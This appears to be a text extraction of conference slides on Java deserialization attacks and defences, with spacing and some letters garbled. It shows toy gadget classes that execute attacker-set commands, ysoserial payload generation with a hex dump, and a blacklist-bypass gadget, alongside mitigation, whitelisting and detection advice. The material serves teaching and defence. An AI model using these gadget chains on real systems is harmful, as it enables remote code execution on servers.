Upload
others
View
5
Download
0
Embed Size (px)
Citation preview
JavaDeserializa,onA0acksAngriff&Verteidigung
1
ChristianSchneider,@cschneider4711
AlvaroMuñoz,@pwntester(inAbsentia)
AboutMe
`whoami`– Developer,WhitehatHacker&Trainer– Freelancersince1997– FocusonJavaEE&WebSecurity– SpeakeratConferences– @cschneider4711– www.ChrisPan-Schneider.net
Howmanyarefamiliarwithwhatthiscodedoes?
Howmanyofyouknowtherisksassociatedwithdeserializinguntrusteddata?
Howmanyofyouknowhowtoexploitthisasa remotecodeexecuPon(RCE)?
QuickPoll
InputStream is = request.getInputStream();ObjectInputStream ois = new ObjectInputStream(is);ois.readObject();
JavaSerializaPon
4
Takingasnapshotofanobjectgraphasabytestreamthatcanbeusedtoreconstructtheobjectgraphtoitsoriginalstate
• Onlyobjectdataisserialized,notthecode
• ThecodesitsontheClassPathofthe(de)serializingend
Object Graph Object Graph
A[ackSurface
5
UsagesofJavaserializationinprotocols/formats/products:– RMI(RemoteMethod
Invocation)– JMX(JavaManagement
Extension)– JMS(JavaMessaging
System)
– SpringServiceInvokers• HTTP,JMS,RMI,etc.
– Android– AMF(ActionMessage
Format)– JSFViewState– WebLogicT3– LDAPResponses– …
A[acksviainternalinterfaces
6
Attacker
User
Application Server
Web Browser
https
replication
replication
Backend Server
RMI, JMS, etc.
Application Server
Application Server
RMI, JMS, etc.
RMI, JMS, etc.
A[acksviaexternalinterfaces
WhenJavaserializaPondataisreadbackfrom client(browser)viaCookiesetc.
7
Web Browser
Application ServerAttacker
User
https
https
CustomizaPonofJavaSerializaPon
• DeveloperscancustomizethisserializaPon/deserializaPonprocess– IndividualobjectserializaPonvia.writeObject()/.writeReplace()/.writeExternal()
– Individualobjectre-construcPonondeserializingendvia.readObject()/.readResolve()/.readExternal()
8
TriggeringExecuPonvia"MagicMethods"
Serializable Class
6. Restore object member fields• readObject(ObjectInputStream) • readObjectNoData()
7. Eventually replace restored object• readResolve()
8. Optionally validate object• validateObject()
9.Cast deserialized object to expected type10.Use deserialized object
ObjectInputStream Application Code Garbage Collector
11.Call finalize() on GC
1. Get bytes2. Initialize ObjectInputStream3. Read object from stream
• ois.readObject()4. Resolve classes of stream resolveClass()
5. Deserialize objects
Serializable Class
6. Restore object member fields• readObject(ObjectInputStream) • readObjectNoData()
7. Eventually replace restored object• readResolve()
8. Optionally validate object• validateObject()
9.Cast deserialized object to expected type10.Use deserialized object
ObjectInputStream Application Code Garbage Collector
11.Call finalize() on GC
1. Get bytes2. Initialize ObjectInputStream3. Read object from stream
• ois.readObject()4. Resolve classes of stream resolveClass()
5. Deserialize objects
TriggeringExecuPonvia"MagicMethods"
ExploiPng"MagicMethods"
• Abusing"magicmethods"ofgadgetswhichhavedangerous/riskycode:– A[ackercontrolsmemberfields’valuesofserializedobject
– UpondeserializaPon.readObject()/.readResolve() isinvoked
• ImplementaPonofthismethodingadgetclassusesa0acker-controlledfields…
• …andisinfluencedinthewaya[ackerdesires…;)
11
More"MagicMethods"
• Asidefromtheclassiconesalsolesser-known"magicmethods"help:– .validateObject()aspartofvalidaPon (whichdoesnotpreventa[acks)
– .readObjectNoData()upondeserializaPonconflicts– .finalize()aspartofGC(evenalererrors)
• withdeferredexecuPonbypassingad-hocSecurityManagersatdeserializaPon
• WorksalsoforExternalizable’s.readExternal()
12
ToyExample
13
public class DangerousToy implements Serializable {private String command;
…
public final Object readObject(ObjectInputStream ois) throws OptionalDataException, ClassNotFoundException, IOException {ois.defaultReadObject();Runtime.getRuntime().exec(command);
}}
forexamplecalc.exe
ProxywithInvocaPonHandler asCatalyzer
15
Class
field1 field2
… method1 method2
Interface
method1 method2
Invocation Handler
Custom code
method2
Proxy
ExploiPngInvocaPonHandler(IH)Gadgets
• A[ackerstepsuponserializaPon:– A[ackercontrolsmemberfieldsofIHgadget,whichhasdangerouscode– IH(aspartofDynamicProxy)getsserializedbya[ackerasfieldonwhichan
innocuousmethodiscalledfrom"magicmethod"(ofclasstodeserialize)
• ApplicaPonstepsupondeserializaPon:– "MagicMethod"of"TriggerGadget"callsinnocuousmethodonan
a0ackercontrolledfield– Thiscallisinterceptedbyproxy(setbya[ackerasfield)anddispatchedtoIH
• OtherIH-liketypesexistasidejava.lang.reflect.InvocaPonHandler– javassist.uPl.proxy.MethodHandler– org.jboss.weld.bean.proxy.MethodHandler
16
ToyExample:TriggerGadget
17
public class TriggerGadget implements Serializable {private Comparator comp;
…
public final Object readObject(ObjectInputStream ois) throws Exception {ois.defaultReadObject();comp.compare("foo", "bar");
}}
Attacker controls this field, so it can set it to anything implementing java.util.Comparator … anything, even a Proxy
Proxy will intercept call to “compare()” and dispatch it to its Invocation Handler
ToyExample:DangerousIH
18
public class DangerousHandler implements Serializable, InvocationHandler {private String command;
…
public Object invoke(Object proxy, Method method, Object[] args) {Runtime.getRuntime().exec(command);
}}
Payload execution
RCEgadgetinBeanShell(CVE-2016-2510)
• bsh.XThis$Handler• Serializable• InvocaPonHandler• UponfuncPonintercepPoncustomBeanShellcodewillbecalled
• AlmostanyJavacodecanbeincludedinthepayload• InordertoinvokethepayloadatriggergadgetisneededtodispatchtheexecuPontotheInvocaPonHandlerinvokemethod
19
PayloadGenerator"ysoserial"
• ysoserialby@frohoff&@gebl—anexcellenttool!• Commandlineinterface(CLI)• Generatesserializedformofpayloadwithgadgetchain
• Containsmanycurrentknowngadgets– Newergadgetshavebeensubmi[edasPRs
• TheJavaDeserializa.onExploita.onTool– h[ps://github.com/frohoff/ysoserial
21
Gadgetsavailableinysoserial
22
java -jar ysoserial.jar Y SO SERIAL?Usage: java -jar ysoserial.jar [payload type] '[shell command to execute]' Available payload types: BeanShell
C3P0 CommonsBeanutils CommonsCollections FileUpload Groovy Hibernate JRMPClient JRMPListener JSON Jdk7u21 Jython Myfaces ROME Spring…
PayloadgeneraPonviaysoserial
23
java -jar ysoserial.jar BeanShell 'calc' | xxd0000000: aced 0005 7372 0017 6a61 7661 2e75 7469 ....sr..java.uti 0000010: 6c2e 5072 696f 7269 7479 5175 6575 6594 l.PriorityQueue. 0000020: da30 b4fb 3f82 b103 0002 4900 0473 697a .0..?.....I..siz 0000030: 654c 000a 636f 6d70 6172 6174 6f72 7400 eL..comparatort. 0000040: 164c 6a61 7661 2f75 7469 6c2f 436f 6d70 .Ljava/util/Comp 0000050: 6172 6174 6f72 3b78 7000 0000 0273 7d00 arator;xp....s}. 0000060: 0000 0100 146a 6176 612e 7574 696c 2e43 .....java.util.C 0000070: 6f6d 7061 7261 746f 7278 7200 176a 6176 omparatorxr..jav 0000080: 612e 6c61 6e67 2e72 6566 6c65 6374 2e50 a.lang.reflect.P 0000090: 726f 7879 e127 da20 cc10 43cb 0200 014c roxy.'. ..C....L 00000a0: 0001 6874 0025 4c6a 6176 612f 6c61 6e67 ..ht.%Ljava/lang 00000b0: 2f72 6566 6c65 6374 2f49 6e76 6f63 6174 /reflect/Invocat 00000c0: 696f 6e48 616e 646c 6572 3b78 7073 7200 ionHandler;xpsr. 00000d0: 1162 7368 2e58 5468 6973 2448 616e 646c .bsh.XThis$Handl
TonsofGadgets
• SpringAOP(byWouterCoekaertsin2011)
• Firstpublicexploit:(by@pwntesterin2013)
• Commons-fileupload(byArunBabuNeelica[uin2013)
• Groovy(bycpnrodzc7/@frohoffin2015)
• Commons-CollecPons(by@frohoffand@geblin2015)
• SpringBeans(by@frohoffand@geblin2015)
• SerialDoS(byWouterCoekaertsin2015)
• SpringTx(by@zerothinkingin2016)
• JDK7(by@frohoffin2016)
• BeanuPls(by@frohoffin2016)
• Hibernate,MyFaces,C3P0,net.sf.json,ROME(byM.Bechlerin2016)
• Beanshell,Jython,lotsofbypasses(by@pwntesterand@cschneider4711in2016)
• JDK7Rhino(by@ma[hias_kaiserin2016)
• …
26
MiPgaPonAdvice#2
AdHocSecurityManager
28
InputStream is = request.getInputStream();// Install Security ManagerSystem.setSecurityManager(new MyDeserializationSM());// Deserialize the dataObjectInputStream ois = new ObjectInputStream(ois);ois.readObject();// Uninstall (restore) Security ManagerSystem.setSecurityManager(null);
A[ackerscandeferexecuPon:•finalize()method•Playwithexpectedtypes(i.ereturnvalidtypesforthecastwhichfirelater)
Ifyoucanuninstall/restoretheSecurityManagerorrefreshthepolicy,a[ackersmightbeabletodoitaswell
MiPgaPonAdvice#2
AdHocSecurityManager
29
InputStream is = request.getInputStream();// Install Security ManagerSystem.setSecurityManager(new MyDeserializationSM());// Deserialize the dataObjectInputStream ois = new ObjectInputStream(ois);ois.readObject();// Uninstall (restore) Security ManagerSystem.setSecurityManager(null);
A[ackerscandeferexecuPon:•finalize()method•Playwithexpectedtypes(i.ereturnvalidtypesforthecastwhichfirelater)
Ifyoucanuninstall/restoretheSecurityManagerorrefreshthepolicy,a[ackersmightbeabletodoitaswell
MiPgaPonAdvice#3
30
DefensiveDeserializaPonclass DefensiveObjectInputStream extends ObjectInputStream {
@Overrideprotected Class<?> resolveClass(ObjectStreamClass cls) throws IOException,
ClassNotFoundException {
String className = cls.getName();
if ( /* CHECK CLASS NAME AGAINST ALLOWED/DISALLOWED TYPES */) { throw new InvalidClassException("Unexpected serialized class", className); }
return super.resolveClass(cls);}
}
BypassingDeserializaPonBlacklists
• Newgadgettypetobypassad-hoclook-aheadObjectInputStreamblacklistprotecPons:
• DuringdeserializaPonoftheobjectgraph,anewimmaculateunprotectedObjectInputStreamwillbeinstanPated
• A[ackercanprovideanyarbitrarybytesforunsafedeserializaPon
• BypassdoesnotworkforcaseswhereObjectInputStreamisinstrumented31
public class NestedProblems implements Serializable { private byte[] bytes … ; … private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes)); ois.readObject(); } }
Isthisforrealorjustfantasy?
32
Currentlywefoundmanybypassgadgets:
JRE:2
ThirdPartyLibraries
Apachelibraries: 6Springlibraries: 1Otherpopularlibraries: 2
SerialKiller:BypassGadgetCollec,on:h[ps://github.com/pwntester/SerialKillerBypassGadgetCollecPon
Applica.onServers
WildFly(JBoss): 2IBMWebSphere: 15OracleWebLogic: 5ApacheTomEE: 5ApacheTomcat: 2OracleGlassFish: 2
Example:BypassAdHocSecurityManagerandBlacklists
33
javax.media.jai.remote.SerializableRenderedImagefinalize() > dispose() > closeClient()
1 private void closeClient() { 2 3 // Connect to the data server. 4 Socket socket = connectToServer(); 5 6 // Get the socket output stream and wrap an object 7 // output stream around it. 8 OutputStream out = null; 9 ObjectOutputStream objectOut = null; 10 ObjectInputStream objectIn = null; 11 try { 12 out = socket.getOutputStream(); 13 objectOut = new ObjectOutputStream(out); 14 objectIn = new ObjectInputStream(socket.getInputStream()); 15 } catch (IOException e) { ... } 16 objectIn.readObject(); …
MiPgaPonAdvice#3
34
DefensiveDeserializaPonclass DefensiveObjectInputStream extends ObjectInputStream {
@Overrideprotected Class<?> resolveClass(ObjectStreamClass cls) throws IOException,
ClassNotFoundException {
String className = cls.getName();
if ( /* CHECK CLASS NAME AGAINST ALLOWED/DISALLOWED TYPES */) { throw new InvalidClassException("Unexpected serialized class", className); }
return super.resolveClass(cls);}
}
Scala&Groovy
36
import java.io._object SerializationDemo extends App {
val ois = new ObjectInputStream(new FileInputStream(“exploit.ser")) val o = ois.readObject()ois.close()
}
import java.io.*File exploit = new File('exploit.ser')try {
def is = exploit.newObjectInputStream(this.class.classLoader)is.eachObject { println it }
} catch (e) { throw new Exception(e) } finally { is?.close() }
Sourcecode:https://github.com/pwntester/JVMDeserialization
HowtoHardenYourApplicaPons?
38
DONOTDESERIALIZEUNTRUSTEDDATA!!
Whenarchitecturepermitsit:
– Useotherformatsinsteadofserializedobjects:JSON,XML,etc.
• ButbeawareofXML-baseddeserializationattacksviaXStream,XmlDecoder,etc.
Assecond-bestoption:
Usedefensivedeserializationwithlook-aheadOISwithastrictwhitelist
• Don’trelyongadget-blacklistingalone!
• YoucanbuildthewhitelistwithOpenSourceagentSWAT (SerialWhitelistApplicationTrainer:https://github.com/cschneider4711/SWAT)
• Consideranagent-basedinstrumentingofObjectInputStream(tocatchthemall)
• Scanyourownwhitelistedcodeforpotentialgadgets
• StillbeawareofDoSscenarios
FindingdeserializaPonendpoints
40
• CheckyourendpointsforthoseaccepPng(untrusted)serializeddata• Findcallsto:
• ObjectInputStream.readObject()• ObjectInputStream.readUnshared()
• …whereInputStreamisa[acker-controlled.Forexample:
• …andObjectInputStreamisorextendsjava.io.ObjectInputStream• …butisnotasafeone(eg:Commons-ioValidaPngObjectInputStream)
• Mayhappeninlibrarycode.Eg:JMS,JMX,RMI,Queues,Brokers,SpringHTTPInvokers,etc…
InputStream is = request.getInputStream();ObjectInputStream ois = new ObjectInputStream(is);ois.readObject();
FindinggadgetsinaHaystack
41
• CheckyourcodeforpotenPalgadgets,whichcouldbeusedindeserializaPon:
Lookforinteres,ngmethodcalls…java.lang.reflect.Method.invoke()java.io.File()java.io.ObjectInputStream()java.net.URLClassLoader()java.net.Socket()java.net.URL()javax.naming.Context.lookup()…
…reachedby:java.io.Externalizable.readExternal()java.io.Serializable.readObject()java.io.Serializable.readObjectNoData()java.io.Serializable.readResolve()java.io.ObjectInputValidaPon.validateObject()java.lang.reflect.InvocaPonHandler.invoke()javassist.uPl.proxy.MethodHandler.invoke()org.jboss.weld.bean.proxy.MethodHandler.invoke()java.lang.Object.finalize()<clinit>(sta.cini.alizer).toString(),.hashCode()and.equals()
DeserializaPonEndpointDetecPon
Findrequests(oranynetworktraffic)carryingserializedJavaobjects:• Easytospotduetomagicbytesatthebeginning:0xAC0xED…• Someweb-appsmightuseBase64tostoreserializeddata
inCookies,etc.:rO0AB…• Beawarethatcompressioncould’vebeenappliedbeforeBase64
• 0x1F8B0x0800…• H4sIA…
Forac,vescans:• Don’trelyonspecificgadgetclasses(mightbeblacklisted)• Be[erusegenericdenial-of-servicepayloadsandmeasurePming
• SerialDOS(byWouterCoekaerts),jInfinity(byArshanDabirsiaghi), OIS-DOS(byTomášPolešovský),etc.
43
DeserializaPonEndpointDetecPon
Tools:
• UsecommercialorfreescannerslikeZAP/Burp–withpluginssuchasSuperSerialtopassivelyscanforJavaserializaPon
• AlsothinkofmassscanningofserverendpointswithscriptslikeSerializeKiller
• UseWireSharkfornetworktraffic
• IfallowedtoinstrumenttheappuserunPmeagentssuchasSWATtofindoutifanythinggetsdeserialized
44
Q&A/ThankYou!…andremember:
DONOTDESERIALIZEUNTRUSTEDDATA!
45
ChristianSchneider,@cschneider4711,[email protected]ñoz,@pwntester,[email protected]
FAQ: https://Christian-Schneider.net/JavaDeserializationSecurityFAQ.html
Whitepaper: https://community.hpe.com/t5/Security-Research/The-perils-of-Java-deserialization/ba-p/6838995
JEP-290:What‘sinitforus?
"Provideaflexiblemechanismtonarrowtheclassesthatcanbedeserializedfromanyclassavailabletoanapplica.on,downtoacontext-appropriatesetofclasses."
Whitelistdefensivedeserializa,on
"Providemetricstothefilterforgraphsizeandcomplexityduringdeserializa.ontovalidatenormalgraphbehaviors."
DenialofServicemi,ga,on
"ProvideamechanismforRMI-exportedobjectstovalidatetheclassesexpectedininvoca.ons."
SecureRMI
"Thefiltermechanismmustnotrequiresubclassingormodifica.ontoexis.ngsubclassesofObjectInputStream."
Backwardscompa,ble,catch‘emall!
"Defineaglobalfilterthatcanbeconfiguredbyproper.esoraconfigura.onfile."
Configurable51